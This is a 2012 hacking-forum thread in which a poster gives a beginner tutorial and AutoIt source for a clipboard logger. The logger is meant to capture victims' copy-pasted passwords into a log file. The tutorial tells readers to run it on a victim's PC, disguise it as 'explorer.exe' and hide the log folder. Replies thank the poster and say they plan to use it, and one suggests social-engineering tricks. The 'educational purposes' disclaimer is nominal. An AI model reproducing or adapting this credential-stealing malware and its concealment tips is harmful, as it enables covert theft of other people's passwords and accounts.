

Forum:[Hack Forums](#)

Thread: [How to get passwords from installs even though they copy/paste them.\[Noob friendly\]](#)

Tor - February 3, 2012, 11:03 am

How to get passwords from installs even though they copy/paste them.

It is well known that the usual keylogger does record all the typed characters on the keyboard, but what do we do when the person doesn't use the keyboard to enter his password? And if your answer is : "You copy the file where they saved the password (in the case that u use a rat)" then find out that there are programs that keep password protected and censored.

If you are in that case then you can use autoit to create a program that can save password which are copied to clipboard.

Steps

Autoit has a code function named "_Clipboard_GetData"

Download autoit ([link](#)).

Go in the autoit folder

Run "SciTE Script Editor".

Paste in the editor this code :

```
Code #include <Clipboard.au3>
#include <File.au3>
```

While 1

```
$clip = _Clipboard_GetData()
```

```
If $clip <> "" Then
```

```
    If $clip <> $oldclip Then
```

```
        _FileWriteLog(@UserProfileDir & "\clip.log", $clip)
```

```
        $oldclip = $clip
```

```
    EndIf
```

```
EndIf
```

```
Sleep(100)
```

WEnd Save the script in a folder.

Go to the folder where you saved the ".au3" file.

Right click on it and hit "Compile"

Run the ".exe" file that was created in the victims pc.

After the victim has used/copied his password just go in the folder that u setup the Code and download the "clip.log".

"clip.log" contains all the copied things that the victim has done.

Extra tips

Compile the code with a confusing name like "explorer.exe" because the program is shown in the victims processes.

Replace the "@UserProfileDir" from the code with a more hidden folder directory to prevent the victim to find the logs file.

This tutorial its just for educational purposes and I'm not responsible for what users do with the knowledge that they get from the tutorial.

If you guys don't understand something, need extra help, want to add something or feel the need to

say thanks please post here.

Also sorry for my grammar errors, but english is not my native language so please excuse me? .

???? - February 15, 2012, 7:52 pm

Thanks for the guide, this could be very useful.

Tor - February 16, 2012, 11:00 am

(Feb 15, 2012 08:52 PM)????? Wrote: [\[CITE\]](#) Thanks for the guide, this could be very useful. Finally someone who appreciated this. No prob bro.

Xboss - February 21, 2012, 8:53 pm

No one posts on this?

This is completely amazing!

People take things for granted.

Very nice post!

I will be using this later on...(Bookmarked)

uglykidjoes - February 21, 2012, 10:17 pm

Gonna try this out great tutorial was easy to understand and well written

/bin/bash - February 21, 2012, 10:22 pm

Could open up a new avenue of social engineering; where the user is tricked by having both the password and username sent to them.

Invite-only, perhaps, etc.

Good idea.

L a b y r i n t h - February 21, 2012, 11:20 pm

Thanks for this guide, ill this when im home.. Thanks

Predator_Crack - February 27, 2012, 4:13 am

Very nice share here. Thx. I am going to use thatfor specific annoyed users that like to copy paste a lot :)

mindlog - February 27, 2012, 4:53 am

Nice Guide , Thanks for sharing , Peace

offkey - February 27, 2012, 5:10 am

Gonna try this out great tutorial. Noob friendly:)

Tor - May 8, 2012, 3:55 am

I hope this will help others like it helped many of my friends.

PawKy - May 8, 2012, 4:02 am

thanks you man! but i think have this option in the rat..

Dr. Michio Kaku™ - May 8, 2012, 4:03 am

Nice Guide , Thanks for sharing
too

O2Tricks - May 8, 2012, 4:05 am

nice one |

but me have to control the victim pc to spread it.

Tor - May 8, 2012, 4:06 am

(May 8, 2012 04:02 AM)PawKy Wrote: [\[CITE\]](#) thanks you man! but i think have this option in the rat..
In cybergate you don't :) . Don't know what you use.

(May 8, 2012 04:03 AM)shrey16123 Wrote: [\[CITE\]](#) Nice Guide , Thanks for sharing
tooNo problem mate. I love to share knowledge. :)